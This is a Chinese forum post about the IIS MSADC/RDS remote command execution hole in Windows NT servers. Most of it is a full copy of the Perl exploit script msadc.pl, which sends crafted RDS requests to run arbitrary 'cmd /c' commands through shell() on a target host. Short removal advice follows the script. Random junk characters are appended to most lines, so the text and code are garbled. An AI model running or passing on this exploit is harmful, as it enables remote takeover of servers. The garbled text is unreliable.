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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) k $+&  
@MN>ye'T  
涉及程序: 06=eA0JI  
Microsoft NT server c85B-/  
W]y$6P  
描述: zV2c `he%z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,U<Ku*}B  
AJmS1 B  
详细: Rl S=^}>  
如果你没有时间读详细内容的话,就删除: E!Ng=}G&_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [KjQW/sb'  
有关的安全问题就没有了。 EIF[e|kZ<  
oxad}Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 m:"2I&0)WM  
g@j:TQM_0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \64(`6>  
关于利用ODBC远程漏洞的描述,请参看: 4/d#)6  
7l:H~"9r  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DPe`C%Oc1  
>U) ,^H(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 j5ui  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp n_c0=YH  
Lnj5EY er  
这里不再论述。 3@}_ F<"*  
5hDE&hp  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: *Pq`~W_M7  
>#8`Zy:/Y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1 9)78kV{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Q!|71{5U  
,p 'M@[  
S"_vD<q  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r+Z+x{  
95(VY)_6#A  
#!perl S)[2\Z{**T  
# Xt~/8)&  
# MSADC/RDS 'usage' (aka exploit) script _ !Ph1  
# ]_-$  
# by rain.forest.puppy &V2G <gm0  
# J7E/2Sl  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me s%/0WW0y^  
# beta test and find errors! ( /N`Wu  
{@3=vBl%O+  
use Socket; use Getopt::Std; _c #P  
getopts("e:vd:h:XR", \%args); ~#j `+  
Y#N'bvE|%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )<Yy.Z_:DC  
jEI!t^#  
if (!defined $args{h} && !defined $args{R}) { "<.b=mN-  
print qq~ V5A7w V3~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } yBr{nFOgdY  
-h <host> = host you want to scan (ip or domain) 4H " *.l  
-d <seconds> = delay between calls, default 1 second XM_S"  
-X = dump Index Server path table, if available h2tzv~  
-v = verbose \zoJr)  
-e = external dictionary file for step 5 DdFVOs|  
)lW<: ?k  
Or a -R will resume a command session 8)H"w$jq  
nF//y}  
~; exit;} =RV$8.Xp  
@lBH@HR=C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %ZZ}TUI W  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ho:,~ A;k  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} a<HM|dcst  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^7_<rs   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 'i@Y #F%D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Lv5AtZl}  
f.8L<<5 c  
if (!defined $args{R}){ $ret = &has_msadc; 7"S|GEs:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} kPxrI=  
{fS/ZG"5<t  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Dbtw>:=  
. "cmd /c "; I4") ;T3  
$in=<STDIN>; chomp $in; :r~?Z6gK  
$command="cmd /c " . $in ; hz/5k%%UX  
qI'a|p4fn?  
if (defined $args{R}) {&load; exit;} '<@PgO~  
w!xSYh')  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; QR,i b  
&try_btcustmr; }y0UyOa{C  
#G\)ZheG  
print "\nStep 2: Trying to make our own DSN..."; u{_T,k<!  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y- w5S|!  
2Nj0 Hqjq  
print "\nStep 3: Trying known DSNs..."; `bxgg'V  
&known_dsn; r<0 .!j%c  
zPVA6~|l  
print "\nStep 4: Trying known .mdbs..."; N .SszZh  
&known_mdb; Nd( $s[  
BE m%x 0y  
if (defined $args{e}){ <vj&e(D^  
print "\nStep 5: Trying dictionary of DSN names..."; I 4EocM=  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z3$PrK%  
EoY570PN  
print "Sorry Charley...maybe next time?\n"; T&{EqsI=B  
exit;  M,6AD]  
QX8N p{g-  
############################################################################## .rMGI "  
$U6)km4  
sub sendraw { # ripped and modded from whisker |E}N8 \Gr  
sleep($delay); # it's a DoS on the server! At least on mine... N,;Bl&EU  
my ($pstr)=@_; @ojn< 7W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lw Kr$X4  
die("Socket problems\n"); ME7JU|@Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ D)mqe-%1  
select(S); $|=1; '7xY ,IY  
print $pstr; my @in=<S>; .vb*|So  
select(STDOUT); close(S); Q"(i  
return @in; yX)2 hj:s  
} else { die("Can't connect...\n"); }} x2nNkd0h  
1ITa6vjS  
############################################################################## AFY;;_Xks  
IYrO;GQ  
sub make_header { # make the HTTP request v0HFW%YJ^J  
my $msadc=<<EOT N8!B2uPQ  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 >=B8PK+<  
User-Agent: ACTIVEDATA k!! o!rBS  
Host: $ip 3_D$6/i  
Content-Length: $clen 0/*z]2  
Connection: Keep-Alive y6Rg@L&U  
muY4:F.C(  
ADCClientVersion:01.06 mH8"k+k  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =?/J.[)<*  
\?}ZXKuJj  
--!ADM!ROX!YOUR!WORLD! ABx0IdOcI  
Content-Type: application/x-varg {Ji[d.cY  
Content-Length: $reqlen fdPg{3x*k  
iveWau292  
EOT Ddu$49{S:  
; $msadc=~s/\n/\r\n/g; T}zOM%]]  
return $msadc;} gjwp' GN  
`4$" mO>+  
############################################################################## 2'/ ip@  
qUVV374N  
sub make_req { # make the RDS request {=&pnu\  
my ($switch, $p1, $p2)=@_; ^6obxwVG  
my $req=""; my $t1, $t2, $query, $dsn; 0t<TZa]V  
x2 tx{Z  
if ($switch==1){ # this is the btcustmr.mdb query bhFzu[B  
$query="Select * from Customers where City=" . make_shell(); o05) I2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . WSh+5](:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} qf'uXH  
?6a:!^eL  
elsif ($switch==2){ # this is general make table query 6W$k^<S  
$query="create table AZZ (B int, C varchar(10))"; F+}MW/ra@  
$dsn="$p1";} x0 3|L!n  
|)0kvf?  
elsif ($switch==3){ # this is general exploit table query zfv l<"Rv  
$query="select * from AZZ where C=" . make_shell(); uWgY+T  
$dsn="$p1";} <oO^ w&G  
P,*R@N  
elsif ($switch==4){ # attempt to hork file info from index server &"25a[x{B  
$query="select path from scope()"; tcmG>^YM  
$dsn="Provider=MSIDXS;";} {@({po  
]ul]L R%.  
elsif ($switch==5){ # bad query aP2  
$query="select"; |>d5 6  
$dsn="$p1";} ^[5yff 4  
sg2T)^*V  
$t1= make_unicode($query); ( vgoG5  
$t2= make_unicode($dsn); BE:GB?XBH  
$req = "\x02\x00\x03\x00"; O.!|;)HQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2#p6.4h=  
$req.= "\x00\x00" . $t1 ; rq+E"Uj?  
$req.= "\x08\x00" . pack ("S1", length($t2)); )x8Izn  
$req.= "\x00\x00" . $t2 ; P1)9OE  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; S_1R]n1/  
return $req;} l'mgjv~  
#W* 5=Cf  
############################################################################## A LKU  
mKn:EqA  
sub make_shell { # this makes the shell() statement yn`H}@`k  
return "'|shell(\"$command\")|'";} @ VVBl I  
v=@Z,-  
############################################################################## \V}?K0#bt  
Z^s&]  
sub make_unicode { # quick little function to convert to unicode mpN|U(n  
my ($in)=@_; my $out; ;CFI*Wfp  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } >P/.X^G0  
return $out;} IhY[c/ |i  
LzP+l>m  
############################################################################## P>Pw;[b>O  
^!?W!k!:V  
sub rdo_success { # checks for RDO return success (this is kludge) F"~uu9u  
my (@in) = @_; my $base=content_start(@in); ?!cUAa>iH  
if($in[$base]=~/multipart\/mixed/){ f)/Yru. ;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ^jqQG+`?  
return 0;} F0])g  
wwk=*X-8  
############################################################################## 5Z1b9.;.,  
Y!"LrkC  
sub make_dsn { # this makes a DSN for us 0c /xE<h  
my @drives=("c","d","e","f"); %^kBcId  
print "\nMaking DSN: "; 6f{Kj)  
foreach $drive (@drives) { A^*0{F?,)  
print "$drive: "; o[&*vc)  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . NRgNh5/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Xw_AZ-|1D  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); k0Rd:DxO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; E&#cU}ErN  
return 0 if $2 eq "404"; # not found/doesn't exist ]?-8[v~{C  
if($2 eq "200") { [,yoFm%"  
foreach $line (@results) { DTH;d-Z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} w<*6pP y  
} return 0;} +VCG/J  
#px74EeI\  
############################################################################## y)CnH4{  
Hj2E-RwG  
sub verify_exists { 0 z.oPV@  
my ($page)=@_; 3E) X(WJY  
my @results=sendraw("GET $page HTTP/1.0\n\n"); criOJ-  
return $results[0];} :bNqK0[rS  
$!H;,Jxv  
############################################################################## .}=gr+<bf  
s\@RJ[(<  
sub try_btcustmr { Mj2`p#5wKh  
my @drives=("c","d","e","f"); lhZXq!2p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >;:235'(M  
7A<X!a  
foreach $dir (@dirs) { "**Tw'  
print "$dir -> "; # fun status so you can see progress F-D9nI4{X  
foreach $drive (@drives) {  At3>  
print "$drive: "; # ditto `O/1aW1  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4,4S5u[|  
$reqlenlen=length( "$reqlen" ); }%x2Z{VF  
$clen= 206 + $reqlenlen + $reqlen; I!Z=3 $,  
R6v~Sy&n!  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^T2o9f  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} N`,ppj  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} DP_ ]\V<sT  
$F2 A  
############################################################################## ?d&l_Pa0e  
<$metN~9j  
sub odbc_error { Y=6569U2  
my (@in)=@_; my $base; `#Z=cq^_  
my $base = content_start(@in); (_1(<Jw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this g3B%}!|  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z0!k  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b\^X1eo  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; = hL;Q@inb  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~XU%_Hz  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; y=.`:EB9b  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ktF\f[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} vLCyT=OB`  
,6@s N'c  
############################################################################## %dn!$[D@  
z{$2bV  
sub verbose { w>S;}[fM  
my ($in)=@_; UZvF5Hoe+O  
return if !$verbose; vJI]ZnL{  
print STDOUT "\n$in\n";} 2 zE gAc  
 %JoHc?  
############################################################################## O2N7qV3 U,  
(`'(`x#  
sub save { 6,Z.R T{5  
my ($p1, $p2, $p3, $p4)=@_; Mj!\EUn  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %'o'Kh''=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Y2$wL9">  
close OUT;} Q 8| C>$n  
9 696EQ,I  
############################################################################## fj"1TtPq#  
V) xwlvX  
sub load { }IJE%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'wyS9^F  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); l;7T.2J'Z  
@p=<IN>; close(IN); qL2!\zt>g  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <Fo~|Nh|  
$target= inet_aton($ip) || die("inet_aton problems"); 7up~8e$_  
print "Resuming to $ip ..."; T:/mk`>  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; H^sImIEUT  
if($p[1]==1) {  /dI8o  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; qzk!'J3*r<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "~2SHM@q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ?COLjk  
if (rdo_success(@results)){print "Success!\n";} zy'e|92aO  
else { print "failed\n"; verbose(odbc_error(@results));}} E5iNuJj=f  
elsif ($p[1]==3){ 1L;3e@G  
if(run_query("$p[3]")){ t4d^DZDh!  
print "Success!\n";} else { print "failed\n"; }} 5FMe&  
elsif ($p[1]==4){ xyzYY}PS  
if(run_query($drvst . "$p[3]")){ 2p %j@O  
print "Success!\n"; } else { print "failed\n"; }} M!tR>NMH  
exit;} )gVz?-u+D  
GAP,$xAaW  
############################################################################## mE"(d*fe'  
E[NszM[P  
sub create_table { *q-VY[2  
my ($in)=@_; (l+0*o,(  
$reqlen=length( make_req(2,$in,"") ) - 28; D]=V6l=  
$reqlenlen=length( "$reqlen" ); b9R0"w!ml  
$clen= 206 + $reqlenlen + $reqlen; PRal>s&f  
my @results=sendraw(make_header() . make_req(2,$in,"")); j82x$I*  
return 1 if rdo_success(@results); YQ|o0>  
my $temp= odbc_error(@results); verbose($temp); R :*1Y\o(  
return 1 if $temp=~/Table 'AZZ' already exists/; q:cCk#ra  
return 0;} -JfqY?Ue_2  
`c)[aP{vN  
############################################################################## {[ pzqzL6  
J7pF*2  
sub known_dsn { ]xxE_B7  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FJD;LpW  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'ws@I?!r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H#H[8#  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); O $ARk+  
JA09 o(  
foreach $dSn (@dsns) { :JXGgl<y  
print "."; @rP#ktz]  
next if (!is_access("DSN=$dSn")); Vd;N T$S$  
if(create_table("DSN=$dSn")){ Z'~/=a)7  
print "$dSn successful\n"; V}h <,E9  
if(run_query("DSN=$dSn")){  5fq4[a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~K@p`CRbV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} H0\' ,X  
@$fvhEkrT@  
############################################################################## RF}R~m9]  
oH(a*i  
sub is_access { zDf96eK  
my ($in)=@_; ;$vVYC  
$reqlen=length( make_req(5,$in,"") ) - 28; S&F[\4w5]  
$reqlenlen=length( "$reqlen" ); }SFmv},Ij  
$clen= 206 + $reqlenlen + $reqlen; 8b"vXNB.f  
my @results=sendraw(make_header() . make_req(5,$in,"")); ':|E$@$W  
my $temp= odbc_error(@results); ,`!>.E.  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); \E1CQP-  
return 0;} =F% <W7  
kq*IC&y  
############################################################################## ~^/BAc  
KBDNK_7A  
sub run_query { ]+5Y\~I  
my ($in)=@_; yu}T><Wst  
$reqlen=length( make_req(3,$in,"") ) - 28; ,&iEn}xG7i  
$reqlenlen=length( "$reqlen" ); /b]+RXvxj  
$clen= 206 + $reqlenlen + $reqlen; #y8Esik  
my @results=sendraw(make_header() . make_req(3,$in,"")); |JiN; O+K  
return 1 if rdo_success(@results); j9/hZqo  
my $temp= odbc_error(@results); verbose($temp); siOyp ]  
return 0;} KwY6pF*  
8/@*6J  
############################################################################## P N(<=v&E  
JMfv|>=  
sub known_mdb { oXQI"?^+  
my @drives=("c","d","e","f","g"); l!<(}?u9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RF [81/w]  
my $dir, $drive, $mdb; [dy0aR$>d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; G;e)K\[J  
HggINMG  
# this is sparse, because I don't know of many \0;EHB  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &hE k m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", JSoInR1E  
"\\system32\\certmdb.mdb", ikb;,Js  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% p#N2K{E  
~ Ofn&[G  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nTE\EZ+=2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xUPg~c0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D1V^DbUm_  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;ykX]5jGh  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bSW~hyI w  
"\\cfusion\\database\\cfexamples.mdb", 8w ]'U  
"\\cfusion\\database\\cfsnippets.mdb", zUA -  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", G%dzJpC(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Z*Fn2I4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _=K\E0I.m  
"\\cfusion\\database\\smpolicy.mdb", CN6b 982&  
"\\cfusion\\database\cypress.mdb", ;73{n*a$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `^ )oVs  
"\\website\\cgi-win\\dbsample.mdb", v<ati c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", M1eM^m8U  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" RijFN.s  
); #these are just R=C+]  
foreach $drive (@drives) { =&mdxKoT0  
foreach $dir (@dirs){  eI/@ut}v  
foreach $mdb (@sysmdbs) { ' Uo|@tK  
print "."; #TIlM]5%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'DUY f5nF  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +hIMfhF  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ hdpA& OteR  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \/!jGy*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _o-01gu.  
]YUst]gu3  
foreach $drive (@drives) { q+)s  
foreach $mdb (@mdbs) { ]x@36Ok)A  
print "."; #U6~U6@  
if(create_table($drv . $drive . $dir . $mdb)){ ,o\~d ?4  
print "\n" . $drive . $dir . $mdb . " successful\n"; B7n1'?  
if(run_query($drv . $drive . $dir . $mdb)){ 7G%^8 ce{!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; qdZo cTf'  
} else { print "Something's borked. Use verbose next time\n"; }}}} Z#@<|{eI  
} %.s"l6 W  
#VuiY  
############################################################################## m,SWG[~  
(wp?tMN5#  
sub hork_idx { mW#p&{  
print "\nAttempting to dump Index Server tables...\n"; ~Dj_N$_+9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4Z/ ]7Ie  
$reqlen=length( make_req(4,"","") ) - 28; |Gt]V`4  
$reqlenlen=length( "$reqlen" ); 30QQnMH3  
$clen= 206 + $reqlenlen + $reqlen; 9j1 tcT  
my @results=sendraw2(make_header() . make_req(4,"","")); 6~Y`<#X5J  
if (rdo_success(@results)){ AE4>pzBe  
my $max=@results; my $c; my %d; Y~ Nt9L  
for($c=19; $c<$max; $c++){ @|}=W Q  
$results[$c]=~s/\x00//g; `7_s@4:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; `%.x0~ ih  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ~GjM:*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B0!W=T\  
$d{"$1$2"}="";} G:;(,  
foreach $c (keys %d){ print "$c\n"; } (oB9$Zz!t  
} else {print "Index server doesn't seem to be installed.\n"; }} $B@K  
A w)P%r  
############################################################################## "0{t~?ol  
T0BM:ofx  
sub dsn_dict { G=>LW1E|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); h|.*V$3  
while(<IN>){ =mh)b]].4\  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6}q# c  
next if (!is_access("DSN=$dSn")); $1myf Z  
if(create_table("DSN=$dSn")){ ^qPS&G  
print "$dSn successful\n"; D?P1\<A~  
if(run_query("DSN=$dSn")){ )%9 P ;/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $c24lJ#/  
print "Something's borked. Use verbose next time\n";}}} ;%Zn)etu  
print "\n"; close(IN);} "3VMjF\  
1{bsh?zd  
############################################################################## lHSu T2)x;  
fg8U* 7  
sub sendraw2 { # ripped and modded from whisker pAd SOR2  
sleep($delay); # it's a DoS on the server! At least on mine... 3o^  oq  
my ($pstr)=@_; +7bV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /qO?)p3gk  
die("Socket problems\n"); EXT_x q  
if(connect(S,pack "SnA4x8",2,80,$target)){ +#g?rCz  
print "Connected. Getting data"; &;oWmmvz{  
open(OUT,">raw.out"); my @in; [X=Ot#?u ~  
select(S); $|=1; print $pstr; 8}Su7v1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} }P"JP[#E\  
close(OUT); select(STDOUT); close(S); return @in; <utD&D8w  
} else { die("Can't connect...\n"); }} fAV=O%^  
3gY4h*|`<  
############################################################################## RLX?3u&  
W\<p`xHk  
sub content_start { # this will take in the server headers BW%"]J  
my (@in)=@_; my $c; f m'Qif q^  
for ($c=1;$c<500;$c++) { ( O/+.qb  
if($in[$c] =~/^\x0d\x0a/){ `xd{0EvF  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]0)=0pc]E  
else { return $c+1; }}} Q2ky|  
return -1;} # it should never get here actually oS_<;Fj  
.+hM1OF`x  
############################################################################## #[ hJm'G  
0Xw3h^%  
sub funky { $5a%hK  
my (@in)=@_; my $error=odbc_error(@in); e025m}%SU  
if($error=~/ADO could not find the specified provider/){ N}j^55M_]  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; @~`2L o/  
exit;} QyX ?  
if($error=~/A Handler is required/){ Kly`V]XE  
print "\nServer has custom handler filters (they most likely are patched)\n"; C~a- R#  
exit;} \%N | X  
if($error=~/specified Handler has denied Access/){ p*Hbc|?{Q&  
print "\nServer has custom handler filters (they most likely are patched)\n"; b<mxf\b  
exit;}} /=2  
Qd$!?h  
############################################################################## j{u! /FD  
1?bX$$y l;  
sub has_msadc { f")*I  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J|2OmbJe  
my $base=content_start(@results); QGV~Y+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 0`dMT>&I  
return 0;} o`]u&  
XK4idC  
######################## 4`#3p@-  
/|2#s%|-=  
zg83->[  
解决方案: 1f^4J~{  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll C) "|sG  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 :LwNOuavN  
uT??t=vb  
拿出来充数 哈哈
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